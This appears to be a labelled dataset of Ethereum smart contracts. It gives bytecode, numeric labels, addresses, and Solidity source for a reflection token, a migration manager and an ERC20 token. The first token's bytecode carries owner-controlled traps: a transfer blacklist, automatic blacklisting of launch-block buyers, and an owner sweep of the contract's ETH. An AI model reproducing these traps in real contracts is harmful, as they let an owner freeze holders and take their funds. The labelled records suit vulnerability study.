0x6080604052600436106102555760003560e01c80635342acb41161013957806395d89b41116100b6578063c9567bf91161007a578063c9567bf91461071f578063db2e21bc14610734578063dd62ed3e14610749578063ea2f0b371461078f578063f2fde38b146107af578063f375b253146107cf57600080fd5b806395d89b4114610694578063a457c2d7146106a9578063a5ece941146106c9578063a9059cbb146106e9578063b2131f7d1461070957600080fd5b80638203f5fe116100fd5780638203f5fe146105e857806388f82020146105fd5780638da5cb5b146106365780638ee88c5314610654578063906e9dd01461067457600080fd5b80635342acb41461052b578063610d5b19146105645780636bc87c3a1461059d57806370a08231146105b3578063715018a6146105d357600080fd5b8063313ce567116101d25780633bd5d173116101965780633bd5d1731461046b578063437823ec1461048b5780634549b039146104ab57806345596e2e146104cb57806349bd5a5e146104eb57806352390c021461050b57600080fd5b8063313ce567146103d3578063362a3c5d146103f55780633685d4191461041557806339509351146104355780633b124fe71461045557600080fd5b80631694505e116102195780631694505e1461031257806318160ddd1461034a57806323b872dd1461035f57806327c8f8351461037f5780632d838119146103b357600080fd5b8063061c82d01461026157806306fdde0314610283578063095ea7b3146102ae5780630f120fc3146102de57806313114a9d146102f357600080fd5b3661025c57005b600080fd5b34801561026d57600080fd5b5061028161027c366004612891565b6107ef565b005b34801561028f57600080fd5b50610298610827565b6040516102a59190612914565b60405180910390f35b3480156102ba57600080fd5b506102ce6102c9366004612866565b6108b9565b60405190151581526020016102a5565b3480156102ea57600080fd5b506102816108d0565b3480156102ff57600080fd5b50600c545b6040519081526020016102a5565b34801561031e57600080fd5b50601654610332906001600160a01b031681565b6040516001600160a01b0390911681526020016102a5565b34801561035657600080fd5b50600a54610304565b34801561036b57600080fd5b506102ce61037a366004612826565b610933565b34801561038b57600080fd5b506103327f000000000000000000000000000000000000000000000000000000000000dead81565b3480156103bf57600080fd5b506103046103ce366004612891565b61099c565b3480156103df57600080fd5b50600f5460405160ff90911681526020016102a5565b34801561040157600080fd5b506102816104103660046127b6565b610a20565b34801561042157600080fd5b506102816104303660046127b6565b610c06565b34801561044157600080fd5b506102ce610450366004612866565b610dcb565b34801561046157600080fd5b5061030460105481565b34801561047757600080fd5b50610281610486366004612891565b610e01565b34801561049757600080fd5b506102816104a63660046127b6565b610eeb565b3480156104b757600080fd5b506103046104c63660046128a9565b610f39565b3480156104d757600080fd5b506102816104e6366004612891565b610fc6565b3480156104f757600080fd5b50601754610332906001600160a01b031681565b34801561051757600080fd5b506102816105263660046127b6565b610ff5565b34801561053757600080fd5b506102ce6105463660046127b6565b6001600160a01b031660009081526007602052604090205460ff1690565b34801561057057600080fd5b506102ce61057f3660046127b6565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156105a957600080fd5b5061030460125481565b3480156105bf57600080fd5b506103046105ce3660046127b6565b611148565b3480156105df57600080fd5b506102816111a7565b3480156105f457600080fd5b506102816111dd565b34801561060957600080fd5b506102ce6106183660046127b6565b6001600160a01b031660009081526008602052604090205460ff1690565b34801561064257600080fd5b506000546001600160a01b0316610332565b34801561066057600080fd5b5061028161066f366004612891565b6113f7565b34801561068057600080fd5b5061028161068f3660046127b6565b611426565b3480156106a057600080fd5b50610298611472565b3480156106b557600080fd5b506102ce6106c4366004612866565b611481565b3480156106d557600080fd5b50600154610332906001600160a01b031681565b3480156106f557600080fd5b506102ce610704366004612866565b6114d0565b34801561071557600080fd5b5061030460145481565b34801561072b57600080fd5b506102816114dd565b34801561074057600080fd5b5061028161152c565b34801561075557600080fd5b506103046107643660046127ee565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561079b57600080fd5b506102816107aa3660046127b6565b611581565b3480156107bb57600080fd5b506102816107ca3660046127b6565b6115cc565b3480156107db57600080fd5b506102816107ea3660046127b6565b611667565b6000546001600160a01b031633146108225760405162461bcd60e51b815260040161081990612967565b60405180910390fd5b601055565b6060600d805461083690612a67565b80601f016020809104026020016040519081016040528092919081815260200182805461086290612a67565b80156108af5780601f10610884576101008083540402835291602001916108af565b820191906000526020600020905b81548152906001019060200180831161089257829003601f168201915b5050505050905090565b60006108c63384846117cd565b5060015b92915050565b6000546001600160a01b031633146108fa5760405162461bcd60e51b815260040161081990612967565b601754600160a81b900460ff16610912576001610915565b60005b60178054911515600160a81b0260ff60a81b19909216919091179055565b60006109408484846118f1565b610992843361098d85604051806060016040528060288152602001612ae9602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611d40565b6117cd565b5060019392505050565b6000600b54821115610a035760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610819565b6000610a0d611d6c565b9050610a198382611d8f565b9392505050565b6000546001600160a01b03163314610a4a5760405162461bcd60e51b815260040161081990612967565b6001600160a01b03811660009081526005602052604090205460ff16610ab25760405162461bcd60e51b815260206004820152601a60248201527f4163636f756e74206973206e6f7420626c61636b6c69737465640000000000006044820152606401610819565b60005b600654811015610c0257816001600160a01b031660068281548110610aea57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610bf05760068054610b1590600190612a50565b81548110610b3357634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600680546001600160a01b039092169183908110610b6d57634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600590915260409020805460ff191690556006805480610bca57634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610bfa81612aa2565b915050610ab5565b5050565b6000546001600160a01b03163314610c305760405162461bcd60e51b815260040161081990612967565b6001600160a01b03811660009081526008602052604090205460ff16610c985760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610819565b60005b600954811015610c0257816001600160a01b031660098281548110610cd057634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610db95760098054610cfb90600190612a50565b81548110610d1957634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600980546001600160a01b039092169183908110610d5357634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600382526040808220829055600890925220805460ff191690556009805480610bca57634e487b7160e01b600052603160045260246000fd5b80610dc381612aa2565b915050610c9b565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916108c691859061098d9086611d9b565b3360008181526008602052604090205460ff1615610e765760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b6064820152608401610819565b6000610e8183611da7565b505050506001600160a01b038416600090815260026020526040902054919250610ead91905082611df6565b6001600160a01b038316600090815260026020526040902055600b54610ed39082611df6565b600b55600c54610ee39084611d9b565b600c55505050565b6000546001600160a01b03163314610f155760405162461bcd60e51b815260040161081990612967565b6001600160a01b03166000908152600760205260409020805460ff19166001179055565b6000600a54831115610f8d5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610819565b81610fac576000610f9d84611da7565b509395506108ca945050505050565b6000610fb784611da7565b509295506108ca945050505050565b6000546001600160a01b03163314610ff05760405162461bcd60e51b815260040161081990612967565b601455565b6000546001600160a01b0316331461101f5760405162461bcd60e51b815260040161081990612967565b6001600160a01b03811660009081526008602052604090205460ff16156110885760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610819565b6001600160a01b038116600090815260026020526040902054156110e2576001600160a01b0381166000908152600260205260409020546110c89061099c565b6001600160a01b0382166000908152600360205260409020555b6001600160a01b03166000818152600860205260408120805460ff191660019081179091556009805491820181559091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0180546001600160a01b0319169091179055565b6001600160a01b03811660009081526008602052604081205460ff161561118557506001600160a01b031660009081526003602052604090205490565b6001600160a01b0382166000908152600260205260409020546108ca9061099c565b6000546001600160a01b031633146111d15760405162461bcd60e51b815260040161081990612967565b6111db6000611e02565b565b6000546001600160a01b031633146112075760405162461bcd60e51b815260040161081990612967565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561125957600080fd5b505afa15801561126d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129191906127d2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156112d957600080fd5b505afa1580156112ed573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061131191906127d2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561135957600080fd5b505af115801561136d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061139191906127d2565b601780546001600160a01b03199081166001600160a01b0393841617909155601680549091169282169290921790915560008054909116815260076020526040808220805460ff1990811660019081179092553084529190922080549091169091179055565b6000546001600160a01b031633146114215760405162461bcd60e51b815260040161081990612967565b601255565b6000546001600160a01b031633146114505760405162461bcd60e51b815260040161081990612967565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6060600e805461083690612a67565b60006108c6338461098d85604051806060016040528060258152602001612b11602591393360009081526004602090815260408083206001600160a01b038d1684529091529020549190611d40565b60006108c63384846118f1565b6000546001600160a01b031633146115075760405162461bcd60e51b815260040161081990612967565b6013546012556011546010556017805460ff60a81b1916600160a81b17905542601555565b6000546001600160a01b031633146115565760405162461bcd60e51b815260040161081990612967565b600080546040516001600160a01b03909116914780156108fc02929091818181858888f15050505050565b6000546001600160a01b031633146115ab5760405162461bcd60e51b815260040161081990612967565b6001600160a01b03166000908152600760205260409020805460ff19169055565b6000546001600160a01b031633146115f65760405162461bcd60e51b815260040161081990612967565b6001600160a01b03811661165b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610819565b61166481611e02565b50565b6000546001600160a01b031633146116915760405162461bcd60e51b815260040161081990612967565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03821614156116fe5760405162461bcd60e51b815260206004820152601c60248201527f57652063616e206e6f7420626c61636b6c69737420556e6973776170000000006044820152606401610819565b6001600160a01b03811660009081526005602052604090205460ff16156117675760405162461bcd60e51b815260206004820152601e60248201527f4163636f756e7420697320616c726561647920626c61636b6c697374656400006044820152606401610819565b6001600160a01b03166000818152600560205260408120805460ff191660019081179091556006805491820181559091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b0319169091179055565b6001600160a01b03831661182f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610819565b6001600160a01b0382166118905760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610819565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166119555760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610819565b6001600160a01b0382166119b75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610819565b60008111611a195760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610819565b6001600160a01b03821660009081526005602052604090205460ff1615611a7c5760405162461bcd60e51b8152602060048201526017602482015276596f752068617665206e6f20706f77657220686572652160481b6044820152606401610819565b3360009081526005602052604090205460ff1615611ad65760405162461bcd60e51b8152602060048201526017602482015276596f752068617665206e6f20706f77657220686572652160481b6044820152606401610819565b6017546001600160a01b038481169116148015611b0157506016546001600160a01b03838116911614155b8015611b2657506001600160a01b03821660009081526007602052604090205460ff16155b15611bf457601754600160a81b900460ff16611b845760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610819565b601554421415611bf4576001600160a01b0382166000818152600560205260408120805460ff191660019081179091556006805491820181559091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b03191690911790555b6000611bff30611148565b601754909150600160a01b900460ff16158015611c255750601754600160a81b900460ff165b8015611c3e57506017546001600160a01b038481169116145b15611cb0578015611cb057601454601754611c7991606491611c739190611c6d906001600160a01b0316611148565b90611e52565b90611d8f565b811115611ca757601454601754611ca491606491611c739190611c6d906001600160a01b0316611148565b90505b611cb081611e5e565b6017546000906001600160a01b0386811691161480611cdc57506017546001600160a01b038581169116145b8015611d2457506001600160a01b03851660009081526007602052604090205460ff1680611d2257506001600160a01b03841660009081526007602052604090205460ff165b155b15611d2d575060015b611d3985858584611e9b565b5050505050565b60008184841115611d645760405162461bcd60e51b81526004016108199190612914565b505050900390565b6000806000611d79611fc6565b9092509050611d888282611d8f565b9250505090565b6000610a198284612a11565b6000610a1982846129f9565b6000806000806000806000806000611dbe8a612180565b9250925092506000806000611ddc8d8686611dd7611d6c565b6121c2565b919f909e50909c50959a5093985091965092945050505050565b6000610a198284612a50565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610a198284612a31565b6017805460ff60a01b1916600160a01b179055611e7a81612212565b478015611e8a57611e8a476123d0565b50506017805460ff60a01b19169055565b80611ea857611ea861241d565b6001600160a01b03841660009081526008602052604090205460ff168015611ee957506001600160a01b03831660009081526008602052604090205460ff16155b15611efe57611ef984848461244b565b611faa565b6001600160a01b03841660009081526008602052604090205460ff16158015611f3f57506001600160a01b03831660009081526008602052604090205460ff165b15611f4f57611ef9848484612571565b6001600160a01b03841660009081526008602052604090205460ff168015611f8f57506001600160a01b03831660009081526008602052604090205460ff165b15611f9f57611ef984848461261a565b611faa84848461268d565b80611fc057611fc0601154601055601354601255565b50505050565b600b54600a546000918291825b6009548110156121505782600260006009848154811061200357634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054118061207c575081600360006009848154811061205557634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b1561209257600b54600a54945094505050509091565b6120e660026000600984815481106120ba57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611df6565b925061213c600360006009848154811061211057634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611df6565b91508061214881612aa2565b915050611fd3565b50600a54600b5461216091611d8f565b82101561217757600b54600a549350935050509091565b90939092509050565b60008060008061218f856126d1565b9050600061219c866126ed565b905060006121b4826121ae8986611df6565b90611df6565b979296509094509092505050565b60008080806121d18886611e52565b905060006121df8887611e52565b905060006121ed8888611e52565b905060006121ff826121ae8686611df6565b939b939a50919850919650505050505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061225557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156122a957600080fd5b505afa1580156122bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122e191906127d2565b8160018151811061230257634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260165461232891309116846117cd565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac947906123619085906000908690309042906004016129bd565b600060405180830381600087803b15801561237b57600080fd5b505af115801561238f573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516123c492919061299c565b60405180910390a15050565b6001546040516001600160a01b03909116908290600081818185875af1925050503d8060008114611fc0576040519150601f19603f3d011682016040523d82523d6000602084013e611fc0565b60105415801561242d5750601254155b1561243457565b601080546011556012805460135560009182905555565b60008060008060008061245d87611da7565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061248f9088611df6565b6001600160a01b038a166000908152600360209081526040808320939093556002905220546124be9087611df6565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546124ed9086611d9b565b6001600160a01b03891660009081526002602052604090205561250f81612709565b6125198483612792565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161255e91815260200190565b60405180910390a3505050505050505050565b60008060008060008061258387611da7565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506125b59087611df6565b6001600160a01b03808b16600090815260026020908152604080832094909455918b168152600390915220546125eb9084611d9b565b6001600160a01b0389166000908152600360209081526040808320939093556002905220546124ed9086611d9b565b60008060008060008061262c87611da7565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061265e9088611df6565b6001600160a01b038a166000908152600360209081526040808320939093556002905220546125b59087611df6565b60008060008060008061269f87611da7565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506124be9087611df6565b60006108ca6064611c7360105485611e5290919063ffffffff16565b60006108ca6064611c7360125485611e5290919063ffffffff16565b6000612713611d6c565b905060006127218383611e52565b3060009081526002602052604090205490915061273e9082611d9b565b3060009081526002602090815260408083209390935560089052205460ff161561278d573060009081526003602052604090205461277c9084611d9b565b306000908152600360205260409020555b505050565b600b5461279f9083611df6565b600b55600c546127af9082611d9b565b600c555050565b6000602082840312156127c7578081fd5b8135610a1981612ad3565b6000602082840312156127e3578081fd5b8151610a1981612ad3565b60008060408385031215612800578081fd5b823561280b81612ad3565b9150602083013561281b81612ad3565b809150509250929050565b60008060006060848603121561283a578081fd5b833561284581612ad3565b9250602084013561285581612ad3565b929592945050506040919091013590565b60008060408385031215612878578182fd5b823561288381612ad3565b946020939093013593505050565b6000602082840312156128a2578081fd5b5035919050565b600080604083850312156128bb578182fd5b823591506020830135801515811461281b578182fd5b6000815180845260208085019450808401835b838110156129095781516001600160a01b0316875295820195908201906001016128e4565b509495945050505050565b6000602080835283518082850152825b8181101561294057858101830151858201604001528201612924565b818111156129515783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8281526040602082015260006129b560408301846128d1565b949350505050565b85815284602082015260a0604082015260006129dc60a08301866128d1565b6001600160a01b0394909416606083015250608001529392505050565b60008219821115612a0c57612a0c612abd565b500190565b600082612a2c57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612a4b57612a4b612abd565b500290565b600082821015612a6257612a62612abd565b500390565b600181811c90821680612a7b57607f821691505b60208210811415612a9c57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612ab657612ab6612abd565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461166457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa164736f6c6343000804000a
[ 25, 11, 8, 9, 13, 5 ]
0xf32219e61c840300d1b35c939ed9e54a86163334
// File: contracts/Ownable.sol pragma solidity 0.6.6; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". Open Zeppelin's ownable doesn't quite work with factory pattern because _owner has private access. When you create a DU, open-zeppelin _owner would be 0x0 (no state from template). Then no address could change _owner to the DU owner. With this custom Ownable, the first person to call initialiaze() can set owner. */ contract Ownable { address public owner; address public pendingOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor(address owner_) public { owner = owner_; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner, "onlyOwner"); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() public { require(msg.sender == pendingOwner, "onlyPendingOwner"); emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } // File: contracts/FactoryConfig.sol pragma solidity 0.6.6; interface FactoryConfig { function currentToken() external view returns (address); function currentMediator() external view returns (address); } // File: contracts/MainnetMigrationManager.sol pragma solidity 0.6.6; contract MainnetMigrationManager is Ownable, FactoryConfig { event OldTokenChange(address indexed current, address indexed prev); event CurrentTokenChange(address indexed current, address indexed prev); event CurrentMediatorChange(address indexed current, address indexed prev); address override public currentToken; address override public currentMediator; constructor(address _currentToken, address _currentMediator) public Ownable(msg.sender) { currentToken = _currentToken; currentMediator = _currentMediator; } function setCurrentToken(address currentToken_) public onlyOwner { emit CurrentTokenChange(currentToken_, currentToken); currentToken = currentToken_; } function setCurrentMediator(address currentMediator_) public onlyOwner { emit CurrentMediatorChange(currentMediator_, currentMediator); currentMediator = currentMediator_; } }
0x608060405234801561001057600080fd5b50600436106100885760003560e01c80638da5cb5b1161005b5780638da5cb5b146100e9578063e30c3978146100f1578063e39f4565146100f9578063f2fde38b1461011f57610088565b80634e71e0c81461008d578063533426d114610097578063834bc594146100bb578063836c081d146100e1575b600080fd5b610095610145565b005b61009f6101fb565b604080516001600160a01b039092168252519081900360200190f35b610095600480360360208110156100d157600080fd5b50356001600160a01b031661020a565b61009f6102b2565b61009f6102c1565b61009f6102d0565b6100956004803603602081101561010f57600080fd5b50356001600160a01b03166102df565b6100956004803603602081101561013557600080fd5b50356001600160a01b0316610387565b6001546001600160a01b03163314610197576040805162461bcd60e51b815260206004820152601060248201526f37b7363ca832b73234b733a7bbb732b960811b604482015290519081900360640190fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6003546001600160a01b031681565b6000546001600160a01b03163314610255576040805162461bcd60e51b815260206004820152600960248201526837b7363ca7bbb732b960b91b604482015290519081900360640190fd5b6002546040516001600160a01b03918216918316907f77f72df9021d6c85a85c9539e22c507f137341a44dc236249d2ac2ec94332a6590600090a3600280546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b031681565b6000546001600160a01b031681565b6001546001600160a01b031681565b6000546001600160a01b0316331461032a576040805162461bcd60e51b815260206004820152600960248201526837b7363ca7bbb732b960b91b604482015290519081900360640190fd5b6003546040516001600160a01b03918216918316907feeaab2a31d713c6b25c64e6ea1a3b6aa9c2ef0be563ab7280ef8444b70226a2590600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146103d2576040805162461bcd60e51b815260206004820152600960248201526837b7363ca7bbb732b960b91b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b039290921691909117905556fea2646970667358221220fb0269d70a358d2c4c4722d07d6b153fa2ab44904819d6c9c5bcd7fce9dbee6064736f6c63430006060033
[ 38 ]
0xf3238003fcccac61461e1ea42e0475e316e0dca6
pragma solidity ^0.4.24; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract OurDEXShare is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "OUS"; name = "OurDEX Share"; decimals = 8; _totalSupply = 500 * 100000000; balances[0xAbf8aD0FFD2Fc911C26f1D648e0b31D87A86F8F9] = _totalSupply; } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610116578063095ea7b3146101a057806318160ddd146101d857806323b872dd146101ff578063313ce567146102295780633eaaf86b1461025457806370a082311461026957806379ba50971461028a5780638da5cb5b146102a157806395d89b41146102d2578063a293d1e8146102e7578063a9059cbb14610302578063b5931f7c14610326578063cae9ca5114610341578063d05c78da146103aa578063d4ee1d90146103c5578063dc39d06d146103da578063dd62ed3e146103fe578063e6cb901314610425578063f2fde38b14610440575b600080fd5b34801561012257600080fd5b5061012b610461565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016557818101518382015260200161014d565b50505050905090810190601f1680156101925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ac57600080fd5b506101c4600160a060020a03600435166024356104ef565b604080519115158252519081900360200190f35b3480156101e457600080fd5b506101ed610556565b60408051918252519081900360200190f35b34801561020b57600080fd5b506101c4600160a060020a0360043581169060243516604435610588565b34801561023557600080fd5b5061023e610681565b6040805160ff9092168252519081900360200190f35b34801561026057600080fd5b506101ed61068a565b34801561027557600080fd5b506101ed600160a060020a0360043516610690565b34801561029657600080fd5b5061029f6106ab565b005b3480156102ad57600080fd5b506102b6610733565b60408051600160a060020a039092168252519081900360200190f35b3480156102de57600080fd5b5061012b610742565b3480156102f357600080fd5b506101ed60043560243561079a565b34801561030e57600080fd5b506101c4600160a060020a03600435166024356107af565b34801561033257600080fd5b506101ed600435602435610853565b34801561034d57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101c4948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506108749650505050505050565b3480156103b657600080fd5b506101ed6004356024356109d5565b3480156103d157600080fd5b506102b66109fa565b3480156103e657600080fd5b506101c4600160a060020a0360043516602435610a09565b34801561040a57600080fd5b506101ed600160a060020a0360043581169060243516610ac4565b34801561043157600080fd5b506101ed600435602435610aef565b34801561044c57600080fd5b5061029f600160a060020a0360043516610aff565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104e75780601f106104bc576101008083540402835291602001916104e7565b820191906000526020600020905b8154815290600101906020018083116104ca57829003601f168201915b505050505081565b336000818152600760209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b6000805260066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8546005540390565b600160a060020a0383166000908152600660205260408120546105ab908361079a565b600160a060020a03851660009081526006602090815260408083209390935560078152828220338352905220546105e2908361079a565b600160a060020a0380861660009081526007602090815260408083203384528252808320949094559186168152600690915220546106209083610aef565b600160a060020a0380851660008181526006602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60045460ff1681565b60055481565b600160a060020a031660009081526006602052604090205490565b600154600160a060020a031633146106c257600080fd5b60015460008054604051600160a060020a0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600054600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156104e75780601f106104bc576101008083540402835291602001916104e7565b6000828211156107a957600080fd5b50900390565b336000908152600660205260408120546107c9908361079a565b3360009081526006602052604080822092909255600160a060020a038516815220546107f59083610aef565b600160a060020a0384166000818152600660209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600080821161086157600080fd5b818381151561086c57fe5b049392505050565b336000818152600760209081526040808320600160a060020a0388168085529083528184